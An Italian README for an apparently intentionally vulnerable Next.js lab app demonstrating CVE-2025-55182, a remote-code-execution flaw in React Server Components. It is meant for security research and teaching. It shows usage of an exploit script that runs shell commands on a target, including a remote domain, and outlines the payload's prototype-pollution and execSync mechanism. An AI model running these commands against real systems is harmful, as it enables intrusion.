Applicazione Next.js intenzionalmente vulnerabile che dimostra la RCE CVE-2025-55182 tramite deserializzazione non sicura in React Server Components. Include script di exploit e integrazione scanner per ricerca e formazione sulla sicurezza.
⚠️ ATTENZIONE: Questa applicazione è volutamente vulnerabile ed è fornita esclusivamente per scopi educativi e di ricerca sulla sicurezza. NON distribuirla in produzione né esporla su internet.
Questa è un'applicazione Next.js vulnerabile che dimostra la CVE-2025-55182, una vulnerabilità critica di Remote Code Execution (RCE) nei React Server Components. L'applicazione è progettata per apparire come un dashboard professionale di cloud hosting, ma è volutamente vulnerabile per test di sicurezza e scopi educativi.
Dettagli CVE:
curl_id.sh per testare la vulnerabilitànpm install --legacy-peer-deps
npm run dev
L'applicazione sarà disponibile all'indirizzo http://localhost:3000
Il repository include curl_id.sh, uno strumento da riga di comando basato sul template Nuclei per sfruttare la CVE-2025-55182.
Utilizzo:
# Execute id command (default)
./curl_id.sh -d localhost:3000 -c id
# Execute custom commands
./curl_id.sh -d localhost:3000 -c "whoami"
./curl_id.sh -d localhost:3000 -c "uname -a"
./curl_id.sh -d localhost:3000 -c "ls -la /tmp"
# Test remote domains (if vulnerable)
./curl_id.sh -d vulnapp.com -c id
Opzioni:
-d, --domain: Dominio/URL di destinazione (predefinito: http://localhost:3000)-c, --command: Comando da eseguire (predefinito: id)git clone https://github.com/assetnote/react2shell-scanner.git
cd react2shell-scanner
pip install -r requirements.txt
python3 scanner.py -u http://localhost:3000
python3 scanner.py -u http://localhost:3000 --safe-check
La vulnerabilità può essere sfruttata inviando una richiesta POST multipart appositamente costruita al server con:
Next-Action: xX-Nextjs-Request-IdX-Nextjs-Html-Request-IdConsulta il repository react2shell-scanner per la struttura esatta del payload.
La vulnerabilità risiede nel meccanismo di deserializzazione dei React Server Components. Quando Next.js elabora le server action, deserializza il payload della richiesta. Le versioni vulnerabili di React (19.0.0-19.2.0) non convalidano né sanificano correttamente i dati deserializzati, consentendo agli aggressori di:
process.mainModule.require('child_process').execSync()X-Action-RedirectL'exploit utilizza un attacco di prototype pollution nel processo di deserializzazione JSON. La struttura del payload include:
then che inquina la catena dei prototipi_response con un campo _prefix contenente codice JavaScriptexecSync() e reindirizza l'output all'header di rispostaPer correggere questa vulnerabilità:
npm install react@latest react-dom@latest
npm install next@latest
npm audit fix
vuln-app-CVE-2025-55182/
├── app/
│ ├── actions.ts # Vulnerable server action
│ ├── layout.tsx # Root layout
│ └── page.tsx # Main dashboard page
├── node_modules/ # Dependencies
├── curl_id.sh # Exploit script for testing
├── package.json # Project dependencies (vulnerable versions)
├── tsconfig.json # TypeScript configuration
├── next.config.js # Next.js configuration
├── .gitignore # Git ignore rules
└── README.md # This file
Questa applicazione è stata creata esclusivamente per la ricerca sulla sicurezza e per scopi educativi.
Gli autori e i collaboratori non sono responsabili di qualsiasi uso improprio di questo codice. L'accesso non autorizzato a sistemi informatici è illegale e può comportare azioni penali.
Questo è un repository educativo. Sono benvenuti i contributi che migliorano la documentazione, aggiungono esempi migliori o accrescono il valore educativo.
Questo progetto è fornito a scopo educativo. Utilizzalo a tuo rischio.
Ricorda: Questa è un'applicazione vulnerabile. Utilizzala in modo responsabile e solo in ambienti controllati per la ricerca sulla sicurezza e per scopi educativi.